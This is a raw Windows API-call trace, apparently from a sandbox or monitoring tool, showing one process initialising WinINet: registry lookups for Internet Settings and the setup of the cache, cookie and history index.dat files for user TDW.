09:13:11,421	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,421	972	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,421	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => EnableHttp1_1 Type => 376	FAILURE	0x00000002
09:13:11,421	972	RegQueryValueExA	Handle => 0x00000180 Data => 1 ValueName => EnableHttp1_1	SUCCESS	0x00000000
09:13:11,421	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,421	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,421	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:13:11,421	972	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
09:13:11,421	972	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,421	972	RegQueryValueExA	Handle => 0x00000180 DataLength => 4 ValueName => Security_HKLM_only Type => 384	FAILURE	0x00000002
09:13:11,421	972	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
09:13:11,431	972	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,431	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
09:13:11,431	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,431	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,431	972	RegQueryValueExA	Handle => 0x00000180 DataLength => 4 ValueName => ProxyHttp1.1 Type => 384	FAILURE	0x00000002
09:13:11,431	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => ProxyHttp1.1 Type => 376	FAILURE	0x00000002
09:13:11,431	972	RegQueryValueExA	Handle => 0x0000017c DataLength => 4 ValueName => ProxyHttp1.1 Type => 380	FAILURE	0x00000002
09:13:11,431	972	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
09:13:11,441	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,441	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:13:11,441	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,441	972	RegQueryValueExA	Handle => 0x00000084 Data => 1 ValueName => EnableNegotiate	SUCCESS	0x00000000
09:13:11,441	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableBasicOverClearChannel Type => 132	FAILURE	0x00000002
09:13:11,441	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,441	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,441	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,451	972	RegOpenKeyExW	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => Feature_ClientAuthCertFilter Type => 376	FAILURE	0x00000002
09:13:11,451	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SyncMode5 Type => 132	FAILURE	0x00000002
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => FixupKey Type => 376	FAILURE	0x00000002
09:13:11,451	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => SessionStartTimeDefaultDeltaSecs Type => 376	FAILURE	0x00000002
09:13:11,451	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => System\Setup	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x0000017c Data => 0 ValueName => SystemSetupInProgress	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000184 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000188 Data => Client UrlCache MMF Ver 5.2\x00 ValueName => Signature	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000188 DataLength => 54 ValueName => Cache Type => 2	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000188 DataLength => 22 ValueName => Cookies Type => 2	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000188 DataLength => 37 ValueName => History Type => 2	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Content	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x00000188 DataLength => 4 ValueName => PerUserItem Type => 392	FAILURE	0x00000002
09:13:11,451	972	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000178 SubKey => Content	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExA	Handle => 0x0000018c Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,451	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Content	SUCCESS	0x00000000
09:13:11,451	972	LdrLoadDll	Flags => 520312 BaseAddress => 0x7c9c0000 FileName => shell32.dll	SUCCESS	0x00000000
09:13:11,451	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SHGetFolderPathA FunctionAddress => 0x7ca2ac11 ModuleHandle => 0x7c9c0000	SUCCESS	0x00000000
09:13:11,451	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:13:11,451	972	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00e\x00m\x00p\x00o\x00r\x00a\x00r\x00y\x00 \x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00F\x00i\x00l\x00e\x00s\x00\x00\x00 ValueName => Cache	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,451	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
09:13:11,451	972	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00e\x00m\x00p\x00o\x00r\x00a\x00r\x00y\x00 \x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00F\x00i\x00l\x00e\x00s\x00\x00\x00 ValueName => Cache Type => 1	SUCCESS	0x00000000
09:13:11,451	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,451	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,451	972	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
09:13:11,461	972	RegQueryValueExA	Handle => 0x00000188 Data => \x00 ValueName => CachePrefix	SUCCESS	0x00000000
09:13:11,461	972	RegQueryValueExA	Handle => 0x00000188 Data => 327323 ValueName => CacheLimit	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x00000190 Registry => 0x0000018c SubKey => Paths	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x00000194 Registry => 0x00000190 SubKey => Path1	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x00000198 Registry => 0x00000190 SubKey => Path2	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x00000190 SubKey => Path3	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x00000190 SubKey => Path4	SUCCESS	0x00000000
09:13:11,461	972	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x0000018c SubKey => Special Paths	SUCCESS	0x00000000
09:13:11,461	972	RegSetValueExA	Handle => 0x00000190 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\x00 ValueName => Directory Type => 1	SUCCESS	0x00000000
09:13:11,461	972	RegSetValueExA	Handle => 0x00000190 Buffer => 4 ValueName => Paths Type => 4	SUCCESS	0x00000000
09:13:11,461	972	RegSetValueExA	Handle => 0x00000194 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache1\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
09:13:11,461	972	RegSetValueExA	Handle => 0x00000198 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache2\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x0000019c Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache3\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x000001a0 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache4\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x00000194 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x00000198 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x0000019c Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExA	Handle => 0x000001a0 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x00000198	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x00000194	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x00000190	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,471	972	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000180 SubKey => Cookies	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x0000018c DataLength => 4 ValueName => PerUserItem Type => 396	FAILURE	0x00000002
09:13:11,471	972	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x00000178 SubKey => Cookies	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x000001a4 Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,471	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Cookies	SUCCESS	0x00000000
09:13:11,471	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00C\x00o\x00o\x00k\x00i\x00e\x00s\x00\x00\x00 ValueName => Cookies	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,471	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
09:13:11,471	972	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00C\x00o\x00o\x00k\x00i\x00e\x00s\x00\x00\x00 ValueName => Cookies Type => 1	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x00000188 Data => Cookie:\x00 ValueName => CachePrefix	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x00000188 Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
09:13:11,471	972	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000180 SubKey => History	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x0000018c DataLength => 4 ValueName => PerUserItem Type => 396	FAILURE	0x00000002
09:13:11,471	972	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x00000178 SubKey => History	SUCCESS	0x00000000
09:13:11,471	972	RegQueryValueExA	Handle => 0x000001a4 Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,471	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,471	972	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => History	SUCCESS	0x00000000
09:13:11,481	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:13:11,481	972	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00\x00\x00 ValueName => History	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,481	972	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
09:13:11,481	972	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00\x00\x00 ValueName => History Type => 1	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
09:13:11,481	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,481	972	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
09:13:11,481	972	RegQueryValueExA	Handle => 0x00000188 Data => Visited:\x00 ValueName => CachePrefix	SUCCESS	0x00000000
09:13:11,481	972	RegQueryValueExA	Handle => 0x00000188 Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x00000184	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
09:13:11,481	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,481	972	NtOpenMutant	Handle => 0x00000178 MutexName => _!MSFTHISTORY!_	SUCCESS	0x00000000
09:13:11,481	972	NtOpenMutant	Handle => 0x00000180 MutexName => c:!documents and settings!tdw!local settings!temporary internet files!content.ie5!	SUCCESS	0x00000000
09:13:11,481	972	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32	SUCCESS	0x00000000
09:13:11,481	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetDiskFreeSpaceExA FunctionAddress => 0x7c83038b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:13:11,481	972	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100001 FileHandle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	NtSetInformationFile	FileHandle => 0x0000017c FileInformation =>	SUCCESS	0x00000000
09:13:11,481	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	NtSetInformationFile	FileHandle => 0x0000017c FileInformation =>	SUCCESS	0x00000000
09:13:11,481	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,481	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000017c	SUCCESS	0x00000000
09:13:11,481	972	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\ntdll SectionHandle => 0x00000184	SUCCESS	0x00000000
09:13:11,481	972	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x00000184 ProcessHandle => 0xffffffff BaseAddress => 0x00220000	SUCCESS	0x00000000
09:13:11,491	972	NtOpenMutant	Handle => 0x00000188 MutexName => c:!documents and settings!tdw!cookies!	SUCCESS	0x00000000
09:13:11,491	972	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\ DesiredAccess => 0x00100001 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,491	972	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,491	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Cookies\ DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,501	972	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
09:13:11,501	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,501	972	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
09:13:11,501	972	NtQueryInformationFile	FileHandle => 0x0000018c FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,501	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000018c	SUCCESS	0x00000000
09:13:11,501	972	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\C:_Documents and Settings_TDW_Cookies_index.dat_32768 SectionHandle => 0x000001a4	SUCCESS	0x00000000
09:13:11,501	972	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x000001a4 ProcessHandle => 0xffffffff BaseAddress => 0x00260000	SUCCESS	0x00000000
09:13:11,511	972	NtOpenMutant	Handle => 0x00000190 MutexName => c:!documents and settings!tdw!local settings!history!history.ie5!	SUCCESS	0x00000000
09:13:11,521	972	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100001 FileHandle => 0x00000194	SUCCESS	0x00000000
09:13:11,521	972	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x00000194	SUCCESS	0x00000000
09:13:11,521	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x00000194	SUCCESS	0x00000000
09:13:11,521	972	NtSetInformationFile	FileHandle => 0x00000194 FileInformation =>	SUCCESS	0x00000000
09:13:11,521	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x00000194	SUCCESS	0x00000000
09:13:11,521	972	NtSetInformationFile	FileHandle => 0x00000194 FileInformation =>	SUCCESS	0x00000000
09:13:11,521	972	NtQueryInformationFile	FileHandle => 0x00000194 FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,521	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x00000194	SUCCESS	0x00000000
09:13:11,521	972	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\C:_Documents and Settings_TDW_Local Settings_History_History.IE5_index.dat_32768 SectionHandle => 0x00000198	SUCCESS	0x00000000
09:13:11,521	972	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x00000198 ProcessHandle => 0xffffffff BaseAddress => 0x00270000	SUCCESS	0x00000000
09:13:11,531	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000019c	SUCCESS	0x00000000
09:13:11,531	972	NtSetInformationFile	FileHandle => 0x0000019c FileInformation =>	SUCCESS	0x00000000
09:13:11,531	972	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000019c	SUCCESS	0x00000000
09:13:11,541	972	NtSetInformationFile	FileHandle => 0x0000019c FileInformation =>	SUCCESS	0x00000000
09:13:11,541	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:11,541	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,541	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x0000019c SubKey => Extensible Cache	SUCCESS	0x00000000
09:13:11,541	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,541	972	RegEnumKeyExA	Index => 0 Handle => 0x000001a0 Name => MSHist012014062620140627 Class =>	SUCCESS	0x00000000
09:13:11,541	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x000001a0 SubKey => MSHist012014062620140627	SUCCESS	0x00000000
09:13:11,541	972	RegQueryValueExA	Handle => 0x0000019c Data => 0 ValueName => CacheRepair	SUCCESS	0x00000000
09:13:11,541	972	RegQueryValueExA	Handle => 0x0000019c Data => %USERPROFILE%\Local Settings\History\History.IE5\MSHist012014062620140627\\x00 ValueName => CachePath	SUCCESS	0x00000000
09:13:11,541	972	RegQueryValueExA	Handle => 0x0000019c Data => :2014062620140627: \x00 ValueName => CachePrefix	SUCCESS	0x00000000
09:13:11,551	972	RegQueryValueExA	Handle => 0x0000019c Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
09:13:11,551	972	RegQueryValueExA	Handle => 0x0000019c Data => 11 ValueName => CacheOptions	SUCCESS	0x00000000
09:13:11,551	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,551	972	RegEnumKeyExA	Index => 1 Handle => 0x000001a0 Name => MSHist012014062620140627 Class =>	FAILURE	0x00000103
09:13:11,551	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,551	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:11,551	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
